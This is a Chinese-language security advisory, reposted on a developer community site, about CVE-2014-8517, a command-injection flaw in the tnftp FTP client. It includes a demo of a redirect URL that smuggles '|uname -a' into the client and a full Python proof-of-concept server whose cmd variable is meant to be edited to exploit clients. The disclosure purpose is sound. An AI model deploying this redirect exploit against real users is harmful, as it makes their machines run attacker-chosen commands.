漏洞预警:FTP曝严重远程执行漏洞,影响多个版本Linux(附检测脚本)-阿里云开发者社区

开发者社区> 知与谁同> 正文

漏洞预警:FTP曝严重远程执行漏洞,影响多个版本Linux(附检测脚本)

简介:
+关注继续查看

10月28日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到的Linux系统包括:Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影响到了苹果的OS X操作系统的最新版本Yosemite 10.10。

NetBSD的一位开发人员(Jared McNeill)证实了这个漏洞可已通过tnftp让WEB服务器远程执行恶意命令,并且此漏洞已被编号为CVE-2014-8517 :

a20$ pwd
    /var/www/cgi-bin

a20$ ls -l
    total 4      -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
    -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a

a20$ cat redirect
    #!/bin/sh      echo 'Status: 302 Found'      echo 'Content-Type: text/html'      echo 'Connection: keep-alive'      echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'      echo

a20$
a20$ ftp http://localhost/cgi-bin/redirect
   Trying ::1:80 ...    ftp: Can't connect to `::1:80': Connection refused
   Trying 127.0.0.1:80 ...    Requesting http://localhost/cgi-bin/redirect
   Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
   Requesting http://192.168.2.19/cgi-bin/|uname%20-a
       32      101.46 KiB/s
   32 bytes retrieved in 00:00 (78.51 KiB/s)    NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36    ADT 2014    Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
   BOARD evbarm

a20$

漏洞影响范围及公告

Debian, Red Hat, Gentoo, Novell (SuSE Linux), DragonFly, FreeBSD, OpenBSD, and Apple等系统开发商已经意识到了此漏洞的危害,其中Debian, Red Hat, Gnetoo and Novell已经发出了漏洞公告:

screenshot

漏洞检测脚本(请勿用于非法用途)

#!/usr/bin/env python """
Sample OSX/BSD FTP client exploit. Written because ISO policies were doing
my head in. To exploit, edit the value of the cmd variable, then run the
script. To test:

    ftp http://<myserver>/foo

And you should see the command executed.

All wrongs reversed - @stevelord
""" import BaseHTTPServer import sys import socket import urllib

hostname = socket.getfqdn() # Set this to your IP if you have no FQDN port = 8000 # Set this to the port you want to run this on cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying." cmd = urllib.quote(cmd) redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd  class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(s): if cmd in s.path: s.send_response(200) s.end_headers() else: s.send_response(302) s.send_header("Location", redir) s.end_headers() if __name__ == "__main__": print "redirecting to,", redir
    server_class = BaseHTTPServer.HTTPServer httpd = server_class((hostname, port), RedirectHandler) try: httpd.serve_forever() print "Started serving." except KeyboardInterrupt: pass httpd.server_close() print "\nStopped serving."

解决方案和更详细的内容参见:

http://seclists.org/oss-sec/2014/q4/459 http://seclists.org/oss-sec/2014/q4/464

http://seclists.org/oss-sec/2014/q4/460

文章转载自 开源中国社区 [http://www.oschina.net]

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
Keepalived 常用配置+检测脚本
1、在与其他服务一起运行下做高可用时,比如NGINX,需要在NGINX断开的时候先尝试启动一次NGINX,如果启动不行,漂移keepalived到备机,所以需要在配置下加检测脚本。
879 0
高可用检测脚本failover.sh
#!/bin/sh VIP="10.0.0.1" DEV="eth0" healthcheck(){ ping -c 1 -w 1 $VIP >/dev/null return $? } ip_takeover(){ MAC=`ip link sho...
822 0
php-build 安装管理多个PHP版本的好帮手
当你开发多个使用PHP不同版本的项目的时候,你也许会期望类似Python 的virtualenv或者Ruby的rvm的工具。虽然php-build不能像virtualenv或rvm一样自动切换环境,但是它能帮助你编译和管理不同版本的PHP安装。
12 0
Eclipse各版本代号一览表以及官网上有很多版本的eclipse,下载哪个版本比较合适呢?
Eclipse各版本代号一览表 Eclipse的设计思想是:一切皆插件。Eclipse核心很小,其它所有功能都以插件的形式附加于Eclipse核心之上。 Eclipse基本内核包括:图形API(SWT/Jface),Java开发环境插件(JDT),插件开发环境(PDE)等。
1442 0
+关注
10077
文章
2994
问答
文章排行榜
最热
最新
相关电子书
更多
《2021云上架构与运维峰会演讲合集》
立即下载
《零基础CSS入门教程》
立即下载
《零基础HTML入门教程》
立即下载